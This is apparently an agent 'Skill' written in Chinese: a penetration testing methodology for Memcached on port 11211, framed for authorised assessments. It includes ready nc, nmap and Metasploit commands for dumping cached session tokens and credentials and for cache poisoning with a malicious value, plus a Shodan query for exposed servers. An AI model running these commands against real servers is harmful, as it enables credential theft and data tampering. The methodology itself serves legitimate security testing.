Memcached 渗透测试方法论(11211 端口)
一、用途 本方法论用于对 Memcached 服务(默认 11211 端口)进行渗透测试,覆盖服务发现、未授权访问测试、缓存数据提取、DDoS 放大风险评估以及已知漏洞利用。当扫描发现 11211 端口开放、需要测试 Memcached 未授权访问、提取缓存数据或评估 DDoS 放大风险时,可触发此 Skill。
二、整体决策树 发现 11211 端口开放后,按以下阶段推进:
- Phase 1:服务发现(Nmap 脚本扫描、手动连接、TCP vs UDP 探测)
- Phase 2:未授权访问测试(发送 version / stats 命令判断是否需认证)
- Phase 3:缓存数据提取(stats、stats slabs、stats items、cachedump / lru_crawler、get)
- Phase 4:DDoS 放大风险(UDP 端口开放、放大比、Metasploit 检测)
- Phase 5:已知漏洞(CVE-2021-37519、CVE-2019-11596、旧版本缓冲区溢出)
三、主要能力与使用方式
Phase 1:服务发现 自动枚举:
- Nmap 信息收集:nmap -n -sV --script memcached-info -p 11211 <IP>
- Metasploit 数据提取:use auxiliary/gather/memcached_extractor
- Metasploit DDoS 放大检测:use auxiliary/scanner/memcached/memcached_amp 手动连接:
- TCP 连接:echo "version" | nc -vn -w 1 <IP> 11211;echo "stats" | nc -vn -w 1 <IP> 11211
- libmemcached 工具:sudo apt install libmemcached-tools;memcstat --servers=<IP>
Phase 2:未授权访问测试 Memcached 虽支持 SASL 认证,但绝大多数实例默认暴露无认证。
- 发送 version 命令测试:echo "version" | nc -vn -w 1 <IP> 11211,返回 VERSION x.x.x 则无需认证
- 发送 stats 命令:echo "stats" | nc -vn -w 1 <IP> 11211,返回 STAT 数据则确认无认证 认证决策树:返回 VERSION / STAT 数据则未授权访问确认,进入 Phase 3;返回 ERROR 或无响应则 SASL 认证可能启用或端口被防火墙过滤;连接超时则检查 TCP/UDP 端口状态。
Phase 3:缓存数据提取 基础信息收集:
- 版本信息:echo "version" | nc -vn -w 1 <IP> 11211
- 通用统计:echo "stats" | nc -vn -w 1 <IP> 11211
- 内存分片统计:echo "stats slabs" | nc -vn -w 1 <IP> 11211
- 项目统计:echo "stats items" | nc -vn -w 1 <IP> 11211 键名提取:
- Memcached < 1.4.31:echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211(0 表示无限输出)
- Memcached >= 1.4.31:echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50(推荐) 获取具体值:echo "get <key_name>" | nc -vn -w 1 <IP> 11211 工具辅助:
- memcstat --servers=<IP>(统计信息)
- memcdump --servers=<IP>(导出所有键名)
- memccat --servers=<IP> <key>(获取键值)
- PHP 脚本:sudo apt-get install php-memcached;php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());' 数据提取决策树:stats items 确认有数据的 slab;版本 < 1.4.31 用 stats cachedump <slab> 0 获取键名;版本 >= 1.4.31 用 lru_crawler metadump all 获取键名;获取键名后用 get <key> 逐个获取值。关注的数据类型包括会话 Token / Session ID、用户凭据 / API Key、序列化对象(反序列化攻击面)、业务敏感数据。注意缓存数据是临时的,可能随时出现或消失。
Phase 4:DDoS 放大风险 Memcached UDP 反射放大是已知的最大放大攻击之一,放大比可达 51000x。
- 检测 UDP 端口:nmap -sU -p 11211 <IP>
- Metasploit 放大检测:use auxiliary/scanner/memcached/memcached_amp;set RHOSTS <IP>;run DDoS 风险评估:UDP 11211 开放可被滥用为 DDoS 反射放大源,攻击者发送伪造源 IP 的小请求,Memcached 向受害者返回大响应,放大比高达 51000x。缓解措施包括禁用 UDP(memcached -U 0)、防火墙限制 11211 端口访问、绑定到 localhost(memcached -l 127.0.0.1)。报告建议将 UDP 暴露标记为高风险发现。
Phase 5:已知漏洞 漏洞检测决策树:
- < 1.4.31:cachedump 可用(信息泄露更简单)
- < 1.5.6:CVE-2018-1000127(整数溢出)
- < 1.6.1:CVE-2019-11596(NULL 指针解引用 DoS)
- < 1.6.12:CVE-2021-37519(堆缓冲区溢出)
- 通用:searchsploit memcached
数据写入与操纵(缓存投毒) 如果可以写入 Memcached,可以投毒缓存数据:
- 设置/覆盖键值:printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211
- 潜在影响:修改会话数据导致越权、修改配置缓存导致逻辑绕过、注入序列化对象导致反序列化 RCE
Shodan 搜索 port:11211 "STAT pid"
四、适用场景 适用于授权渗透测试与安全评估场景,包括:发现 11211 端口开放后的服务识别与信息收集;测试 Memcached 未授权访问;提取缓存中的敏感数据;评估 UDP 反射放大 DDoS 风险;核对已知漏洞版本。
五、限制 本方法论仅提供测试思路与命令参考,实际测试须在获得授权的前提下进行。缓存数据具有临时性,可能随时出现或消失。部分命令(如 cachedump)仅适用于特定版本范围。资料未提供具体漏洞利用代码、完整工具安装以外的依赖说明或法律合规指引,相关内容暂未提供。